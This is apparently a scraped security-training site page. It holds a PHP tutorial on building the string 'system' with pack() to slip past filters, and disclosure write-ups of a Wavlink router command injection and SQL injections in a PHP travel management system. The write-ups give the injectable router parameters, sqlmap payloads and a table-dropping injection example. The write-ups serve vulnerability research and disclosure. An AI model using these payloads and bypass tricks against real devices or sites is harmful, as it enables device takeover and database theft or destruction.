DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.\r\n\r\n它的一些方法\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.construct.php — Constructs a new directory iterator from a path\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.current.php — Return the current DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.getbasename.php — Get base name of current DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.getextension.php — Gets the file extension\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.getfilename.php — Return file name of current DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..'\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.key.php — Return the key for the current DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.next.php — Move forward to next DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.rewind.php — Rewind the DirectoryIterator back to the start\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.seek.php — Seek to a DirectoryIterator item\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.tostring.php — Get file name as a string\r\n\r\n\r\nhttps:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Fdirectoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file\r\n\r\n\r\n其中大概看一下,其实\r\n\r\nDirectoryIterator::getFilename 就有利用的可能\r\n\r\nDirectoryIterator::getFilename — Return file name of current DirectoryIterator item\r\n\r\n看一下官方的例子\r\n\r\n\u003C?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {   echo $fileinfo-\u003EgetFilename() . \"\\n\";}?\u003E\r\n\r\n以上示例的输出类似于:\r\n\r\n.\r\n..\r\napple.jpg\r\nbanana.jpg\r\nindex.php\r\npear.jpg\r\n\r\n那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗\r\n\r\n代码如下\r\n\r\n\u003C?php\r\n\u002F\u002F 创建FilesystemIterator实例\r\n$iterator = new FilesystemIterator(dirname(__FILE__));\r\nforeach ($iterator as $item) {\r\n    \u002F\u002F 输出文件和目录的属性\r\n    echo $item-\u003EgetFilename() . \"\\n\";\r\n}\r\n?\u003E\r\n\r\n运行结果\r\n\r\n确实是获取到了\r\n\r\npack\r\n\r\n这个函数很有意思的\r\n\r\npack — 将数据打包成二进制字符串\r\n\r\n可以构造出字符串\r\n\r\npack(https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Flanguage.types.string.php $format, https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Flanguage.types.mixed.php ...$values): https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Flanguage.types.string.php\r\n\r\n将输入参数打包成 format 格式的二进制字符串。\r\n\r\n这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。\r\n\r\n注意,有符号值和无符号值之间的区别只影响函数 https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Ffunction.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。\r\n\r\n看了一下大概,再看下官方的例子\r\n\r\n这是一些它的格式\r\n\r\n示例 #1 *pack()* 范例\r\n\r\n\u003C?php$binarydata = pack(\"nvc*\", 0x1234, 0x5678, 65, 66);?\u003E\r\n\r\n输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。\r\n\r\n那我们按照构造出 system 的思路\r\n\r\n\u003C?php\r\n \r\necho pack(\"C6\", 115, 121, 115, 116, 101, 109);\r\necho pack(\"H*\", \"73797374656d\"); \r\n?\u003E\r\n\r\n这两个结果都是 system\r\n\r\n\r\n\"C6\" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。\r\n\r\n\r\n传入的参数\r\n\r\n 115, 121, 115, 116, 101, 109\r\n\r\n 是 ASCII 码值。\r\n\r\n\r\n115 对应的字符是 s\r\n\r\n\r\n121 对应的字符是 y\r\n\r\n\r\n115 对应的字符是 s\r\n\r\n\r\n116 对应的字符是 t\r\n\r\n\r\n101 对应的字符是 e\r\n\r\n\r\n109 对应的字符是 m\r\n\r\n\r\n\r\n构造出来的就是 system\r\n\r\n\r\n\"H*\" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。\r\n\r\n\r\n73797374656d\r\n\r\n 是一个十六进制表示的字符串。将其转换为 ASCII 字符:\r\n\r\n\r\n73 是 s\r\n\r\n\r\n79 是 y\r\n\r\n\r\n73 是 s\r\n\r\n\r\n74 是 t\r\n\r\n\r\n65 是 e\r\n\r\n\r\n6d 是 m\r\n\r\n\r\n构造出来的也是system",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002F\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F0bafd351-52a5-447e-9a22-a2b1468f1766.png",openTime:"2025-07-03T17:06:59+08:00",viewsNum:1253}]},goodNewsList:[{id:"fee80985-987a-4e62-b359-0321d3b9a584",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea.png?1787193023720",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea-small.png?1787193023720",subContent:g},{id:"981c0d22-2a31-4eba-a0dc-e5147316ec3f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7.png?1787193000045",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7-small.png?1787193000045",subContent:g},{id:"2a632c86-75a5-43d0-820b-255c4a5c7ce4",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5.png?1787192901558",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5-small.png?1787192901558",subContent:"src漏洞报告案例"},{id:"2ff34d68-244e-4453-b808-a1adbb14082f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc.png?1787192836274",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc-small.png?1787192836274",subContent:g},{id:"77f467c4-291a-4692-98aa-8d20e9d9c01f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742.png?1787192817014",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742-small.png?1787192817014",subContent:g},{id:"7938806c-9f9e-4aaa-9e38-f1dfeb860599",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2.png?1787192552298",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2-small.png?1787192552298",subContent:g},{id:"0aade21b-baea-42e2-810b-a159ec2a0d67",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2.png?1787192538113",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2-small.png?1787192538113",subContent:g},{id:"e5bc50f9-9b71-430f-a520-7291cdc7e62c",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040.png?1787192515737",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040-small.png?1787192515737",subContent:"漏洞产出案例-哔哩哔哩"},{id:"00718522-bf47-422e-8058-23b0fca91f11",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686.png?1787192492486",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686-small.png?1787192492486",subContent:g},{id:"2b04c2ab-c18a-4435-96f4-67e43d21ae8d",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948.png?1786414229574",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948-small.png?1786414229574",subContent:"src挖洞成果-网易已获49积分"},{id:"60ab74cd-8e5e-4a5c-934f-5e4a2e0511aa",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24.png?1782375005186",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24-small.png?1782375005186",subContent:"渗透学生入职L通"},{id:"fb4c4b99-5f1d-467e-84da-65f3723a7c95",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6.png?1781659646741",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6-small.png?1781659646741",subContent:"武装部表扬信"},{id:"317ffbf9-0c3d-4c43-8a88-dc6d4b0a4422",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c.png?1780647375683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c-small.png?1780647375683",subContent:c},{id:"3fa967d8-bbd7-432b-aea7-4627c5e3a8f2",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30.png?1780647366339",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30-small.png?1780647366339",subContent:c},{id:"696ed075-d4ee-499c-944b-753b0b648cc8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4.png?1780647356038",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4-small.png?1780647356038",subContent:c},{id:"75b7d09d-f188-452b-86fb-811ebe3e9686",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e.png?1780647342261",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e-small.png?1780647342261",subContent:c},{id:"dda6dbd9-e998-40ae-a72c-0837f1bb3e67",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6.png?1780647320683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6-small.png?1780647320683",subContent:c},{id:"337dedac-db6f-4053-a246-dbae343b632e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27.png?1780647308406",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27-small.png?1780647308406",subContent:c},{id:"6bd9ff8a-d5e6-4e97-b7dc-4949e987933e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2.png?1780647292920",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2-small.png?1780647292920",subContent:c},{id:"f6551a2c-808a-4ff2-891e-d7510da1c322",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904.png?1780647282594",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904-small.png?1780647282594",subContent:c},{id:"7a70a637-a7a8-4adc-b853-d34e2dd3aa71",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a.png?1780647268334",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a-small.png?1780647268334",subContent:c},{id:"e6ab2e37-c390-4a2f-851a-a8953986e160",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c.png?1780647256899",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c-small.png?1780647256899",subContent:c},{id:"9ebae6e9-6201-4385-892d-ce81bfd5d6f8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916.png?1780647244664",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916-small.png?1780647244664",subContent:c},{id:"d3638720-611b-4095-ba54-5feea9bbbcf0",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f.png?1780647229987",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f-small.png?1780647229987",subContent:c},{id:"ab57687a-684b-4823-ae8d-9bc4094fcb76",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e.png?1780647199285",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e-small.png?1780647199285",subContent:c},{id:"113d0779-2851-432b-8f5b-89eb12241272",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a.png?1787128678640",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a-small.png?1787128678640",subContent:"渗透测试学生,入职海K,薪资20+"},{id:"53b6f5ee-2c50-423c-845b-cee6c00ecde6",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e.png?1774834923466",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e-small.png?1774834923466",subContent:"通过训练不仅挖到了漏洞,学费也自己赚回来了"},{id:"88448d40-bc97-4b3a-8723-b08775ea4889",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889.png?1787130153032",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889-small.png?1787130153032",subContent:"渗透班优秀学生,入职华W"},{id:"09dce0d2-e362-4927-b269-7f1ea8085f3d",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08.png?1781147128716",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08-small.png?1781147128716",subContent:"大三计算机科学专业,通过web安全课程学习,进入电信实习"},{id:"de9f0cff-dd00-47d5-bcf5-da3742162d29",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0.png?1769160018185",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0-small.png?1769160018185",subContent:"高危原创漏洞证明"},{id:"3f4a0e71-4e14-492f-92d7-15f054caf269",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4.png?1768529638951",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4-small.png?1768529638951",subContent:"web安全学生获取cnvd证书"},{id:"0bfc445a-31ec-49c5-bee0-f0399f1b2dca",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce.png?1768294167218",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce-small.png?1768294167218",subContent:"20岁、本科信安专业,实习面试通过,渗透岗位"},{id:"ad7fa854-d359-4b13-92b4-d237a12aa6a8",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8.png?1787130199705",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8-small.png?1787130199705",subContent:"信安专业大三实习生,入职绿M"},{id:"229455f6-b661-41d7-8109-1cc2dc4aa582",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006.png?1767601292665",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006-small.png?1767601292665",subContent:j},{id:"dc4fd4cb-b81e-48e1-8f81-bceb16aedd35",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0.png?1767601265564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0-small.png?1767601265564",subContent:j},{id:"d192c517-0c0e-4af9-85ef-433e0b0b8563",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65.png?1767601246547",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65-small.png?1767601246547",subContent:j}],systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"34423f4730bda529a7fb0128c9bcb6c9",isMobileDevice:false,nowTime:1789911478035}}("","News","广交会第139届奖金"," SRC "," SRC 广交会 ","specialized","漏洞产出案例"," 广交会 SRC "," 网安学生 ","第138届广交会奖金"))
某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 